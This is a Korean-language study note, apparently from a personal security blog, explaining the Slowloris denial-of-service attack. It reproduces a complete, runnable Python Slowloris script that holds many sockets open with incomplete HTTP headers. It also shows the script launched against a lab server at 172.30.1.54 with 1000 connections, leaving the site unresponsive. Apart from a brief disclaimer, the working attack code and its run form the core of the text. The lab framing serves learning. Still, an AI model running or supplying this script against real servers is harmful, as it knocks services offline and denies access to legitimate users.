🦥Slowloris

DATE : 2024/2/5

What is Slowloris?

Slowloris란, 앞서 공부한 DoS 공격 중 하나로 미완성인 HTTP header를 보내

서버와의 연결을 유지 시킴으로써 다른 사용자가 서버와 소통하지 못하도록 만드는 공격 기법이다.

HTTP protocol은 Header & Body로 이루어지는데

이때 Header가 끝났음을 나타내기 위해서는 \r\n을 두 번 사용한다.

\r\n은 Header에 작성되는 각각의 라인을 구분할 때도 사용되는데

Header가 완전히 끝난 지점에서는 한 줄을 더 띄어야 하기 때문에 \r\n\r\n을 붙인다.

하지만 Slowloris 공격을 수행할 때는 의도적으로 Header를 완성하지 않음으로써

서버가 "더 전달될 헤더가 있구나!" 라고 생각하도록 만들기 위해 \r\n\r\n은 보내지 않은 채

일정 시간을 두고 계속해서 Header를 보냄으로써 수행된다.

서버가 대응할 수 있는 연결이 꽉 찬 상태로 계속해서 유지된다면

서비스를 이용하고자 하는 다른 사용자와 서버가 연결을 맺을 수 없다는 점을 공략하는 셈이다.


Slowloris 공격을 실습 해보기 위해서 아래 주소에 있는 Python Code를 사용했다.

절대 해당 코드는 불법적인 행위를 위한 목적으로 사용해서는 안 된다!!

교육적인 목적 이외에 다른 용도로 사용하는 경우, 책임은 본인에게 있다는 점!

import socket
import random
import time

__headers = [
    "User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Accept-language: en-US,en"
]

def __setup_socket(ip, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print ("connecting...")

    try:
        sock.connect((ip, port))
        sock.sendall("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1337)).encode("utf-8"))

        for header in __headers:
            sock.send("{}\r\n".format(header).encode("utf-8"))

        return sock
    except Exception as e:
        print (e)
        pass

Slowloris 공격을 수행할 대상 IP & Port를 전달하면 Socket을 만들어 연결을 시도한다.

def slowloris_attack(target_ip, port, total_requests, timeout=None):
    sockets_list = [__setup_socket(target_ip, port) for _ in range(total_requests)]
    start_time = time.time()
    while True:
        if timeout and time.time() - start_time >= timeout:
            break
        for socket_item in sockets_list:
            try:
                socket_item.send("X-a: {}\r\n".format(random.randint(1, 4600)).encode("utf-8"))
            except socket.error:
                sockets_list.remove(socket_item)
        for _ in range(total_requests - len(sockets_list)):
            try:
                sock = __setup_socket(target_ip, port)
                if sock:
                    sockets_list.append(sock)
            except socket.error:
                break

total_requests 만큼 Socket을 만들어 timeout 시간 동안 반복적으로 X-a header를 보내는데

이때 중요한 건, \r\n\r\n가 그 어디에도 없기 때문에 연결이 유지된 상태에서 각 Socket이 자신의 차례가

올 때마다 X-a header를 던져주게 된다. (for socket_item in sockets_list)

slowloris_attack("172.30.1.54",1018,1,10)

공격을 수행하는 과정에서 기록이 어떻게 찍히는 지 확인하기 위해 우선,

딱 하나의 Socket만 만들어보기로 했다.

python3 slowloris.py

코드를 실행하고 wireshark로 오고 간 데이터를 확인해보면 다음과 같다.

우선 서버와 연결을 하게 되면 3 way handshake 과정이 선행된 다음,

sock.sendall("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 1337)).encode("utf-8"))

맨 처음 Socket으로 보낸 Header가 서버로 전달된 걸 확인해볼 수 있다.

현재 sockets_list에는 하나의 socket만 들어있다 보니 10초 동안 계속해서

동일한 Port에서 X-a header를 보내게 된다.

함수 send()를 통해 보낸 X-a header가 제대로 전달되고 있는 걸 볼 수 있는데

randint()로 정해준 범위 내에서 랜덤하게 숫자를 하나 뽑았기 때문에 모든 packet의 X-a header 값이

다른 걸 확인할 수 있을 것이다.

지금은 Header가 반복적으로 전달되는 과정을 보기 위해 하나의 Socket만 열어둔 상태이지만

서버를 다운 시키기 위해서는 더 많은 연결을 맺을 필요가 있어 보인다..!

slowloris_attack("172.30.1.54",1018,1000,60)

이번엔 다른 사용자가 서비스를 이용하지 못하도록 하기 위해서!!

1000개의 Socket을 만들어 1분 동안 지속적으로 X-a header를 보내기로 했다.

코드를 실행하고 서버로 접속해 아이디를 입력해보면..!

위와 같이 열심히 링만 돌아가고 페이지에는 응답이 없는 걸 볼 수 있다.

현재 Socket 연결을 완료한 뒤 열심히 X-a header를 보내고 있기 때문에

뒤늦게 서버로 요청을 보낸 사용자는 서버와 소통을 하지 못한 채

서비스를 이용하지 못하게 된다..!

이처럼 미완성된 Header를 서버로 보내 대량의 연결을 맺은 후 연결이 끊기지 않도록

한 번씩 Header를 보내줌으로써 다른 사용자와 서버가 소통하지 못하게 만드는 공격을, Slowloris라 한다!

Last updated